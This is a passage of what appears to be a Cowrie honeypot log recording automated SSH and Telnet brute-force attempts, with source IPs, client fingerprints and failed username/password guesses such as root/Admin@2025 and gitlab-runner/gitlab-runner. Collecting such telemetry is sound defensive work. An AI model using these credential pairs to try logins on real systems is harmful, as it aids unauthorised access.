ac:c2:95:a5:1c:04:b8:14:b0:34:ed:53:13:6a:03:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:22.673649Z","src_ip":"46.62.239.90","session":"0508a837992a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:c2:95:a5:1c:04:b8:14:b0:34:ed:53:13:6a:03:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9cbNHo/3OPcVHKMdOY4UGJZuhK381XGi7VNUJJ630ECcvaum2Et3R9/EWY6WgBYdL1AT1BTQtgY5qNCdhzRLo0jJJyn14Jz1Z52QKHO9PyGW43gYdwpC5LnkGzl6OUmITijNSQvx8XakiD9JqWvA+nAXSIY/0ceeQdLuAm/DGqk+ZDuhw/N83nUwTce18TM5ko2AUPKQORDnpjGLuYTvqzlTT6j3DuVw8DZNLQ0rdbvQ/wzUt98wufSDKs8sBTlMFF9CSgOYaoNaHNSE4J7N/1vCG4jRorObMYujqW16UXWqGSsTejdaLh3tnKE3ouJS5dX4XV+HfIyMPgWF6D8eL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:22.677213Z","src_ip":"46.62.239.90","session":"0508a837992a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":50082,"dst_ip":"159.203.135.109","dst_port":22,"session":"54c849fa83ec","protocol":"ssh","message":"New connection: 119.28.114.76:50082 (159.203.135.109:22) [session: 54c849fa83ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:22.747631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:22.752693Z","src_ip":"119.28.114.76","session":"54c849fa83ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39230,"dst_ip":"10.17.0.5","dst_port":23,"session":"39eff746cfe5","protocol":"telnet","message":"New connection: 152.42.224.71:39230 (10.17.0.5:23) [session: 39eff746cfe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:22.866902Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:22.873886Z","src_ip":"46.62.239.90","session":"0508a837992a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:23.095107Z","src_ip":"119.28.114.76","session":"54c849fa83ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60632,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f2bdb06ec2b","protocol":"ssh","message":"New connection: 45.156.87.204:60632 (159.203.135.109:22) [session: 4f2bdb06ec2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:23.787081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:23.962931Z","src_ip":"45.156.87.204","session":"4f2bdb06ec2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:23.967720Z","src_ip":"45.156.87.204","session":"4f2bdb06ec2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159753","message":"login attempt [root/159753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:24.029912Z","src_ip":"119.28.114.76","session":"54c849fa83ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:24.447532Z","src_ip":"45.156.87.204","session":"4f2bdb06ec2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:25.270038Z","src_ip":"119.28.114.76","session":"54c849fa83ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:25.532351Z","src_ip":"45.156.87.204","session":"4f2bdb06ec2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60638,"dst_ip":"159.203.135.109","dst_port":22,"session":"423fbaca7d8c","protocol":"ssh","message":"New connection: 45.156.87.204:60638 (159.203.135.109:22) [session: 423fbaca7d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:27.689276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:27.694403Z","src_ip":"45.156.87.204","session":"423fbaca7d8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.45054912567139,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:27.752418Z","src_ip":"152.42.224.71","session":"f22d9ef56b69","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:27.776918Z","src_ip":"45.156.87.204","session":"423fbaca7d8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:28.022840Z","src_ip":"45.156.87.204","session":"423fbaca7d8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:29.182371Z","src_ip":"45.156.87.204","session":"423fbaca7d8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.83436131477356,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:30.095234Z","src_ip":"152.42.224.71","session":"26cb00a22fe5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50312,"dst_ip":"10.17.0.5","dst_port":23,"session":"51123cd086eb","protocol":"telnet","message":"New connection: 152.42.224.71:50312 (10.17.0.5:23) [session: 51123cd086eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:30.980695Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60648,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c2d5eb47703","protocol":"ssh","message":"New connection: 45.156.87.204:60648 (159.203.135.109:22) [session: 6c2d5eb47703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:31.230206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:31.235100Z","src_ip":"45.156.87.204","session":"6c2d5eb47703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:31.317315Z","src_ip":"45.156.87.204","session":"6c2d5eb47703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:31.812107Z","src_ip":"45.156.87.204","session":"6c2d5eb47703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:32.897013Z","src_ip":"45.156.87.204","session":"6c2d5eb47703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36056,"dst_ip":"159.203.135.109","dst_port":22,"session":"4337068e2f12","protocol":"ssh","message":"New connection: 45.156.87.204:36056 (159.203.135.109:22) [session: 4337068e2f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:35.168797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:35.177182Z","src_ip":"45.156.87.204","session":"4337068e2f12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:35.252301Z","src_ip":"45.156.87.204","session":"4337068e2f12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:35.572965Z","src_ip":"45.156.87.204","session":"4337068e2f12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":53028,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea87caa46306","protocol":"ssh","message":"New connection: 170.106.151.211:53028 (159.203.135.109:22) [session: ea87caa46306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:35.857879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:35.862450Z","src_ip":"170.106.151.211","session":"ea87caa46306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:35.930850Z","src_ip":"170.106.151.211","session":"ea87caa46306","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@2025","message":"login attempt [root/Admin@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:36.235921Z","src_ip":"170.106.151.211","session":"ea87caa46306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:36.657665Z","src_ip":"45.156.87.204","session":"4337068e2f12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:37.307013Z","src_ip":"170.106.151.211","session":"ea87caa46306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.54377317428589,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:37.514848Z","src_ip":"152.42.224.71","session":"4fa5ec95bc90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37734,"dst_ip":"10.17.0.5","dst_port":23,"session":"655d3a350220","protocol":"telnet","message":"New connection: 152.42.224.71:37734 (10.17.0.5:23) [session: 655d3a350220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:37.732759Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36062,"dst_ip":"159.203.135.109","dst_port":22,"session":"3aa7eaba4e4a","protocol":"ssh","message":"New connection: 45.156.87.204:36062 (159.203.135.109:22) [session: 3aa7eaba4e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:38.770030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:38.779204Z","src_ip":"45.156.87.204","session":"3aa7eaba4e4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:38.861502Z","src_ip":"45.156.87.204","session":"3aa7eaba4e4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:39.108987Z","src_ip":"45.156.87.204","session":"3aa7eaba4e4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:40.194505Z","src_ip":"45.156.87.204","session":"3aa7eaba4e4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36070,"dst_ip":"159.203.135.109","dst_port":22,"session":"578919fd15ab","protocol":"ssh","message":"New connection: 45.156.87.204:36070 (159.203.135.109:22) [session: 578919fd15ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:42.283275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:42.456026Z","src_ip":"45.156.87.204","session":"578919fd15ab","protocol":"ssh"}
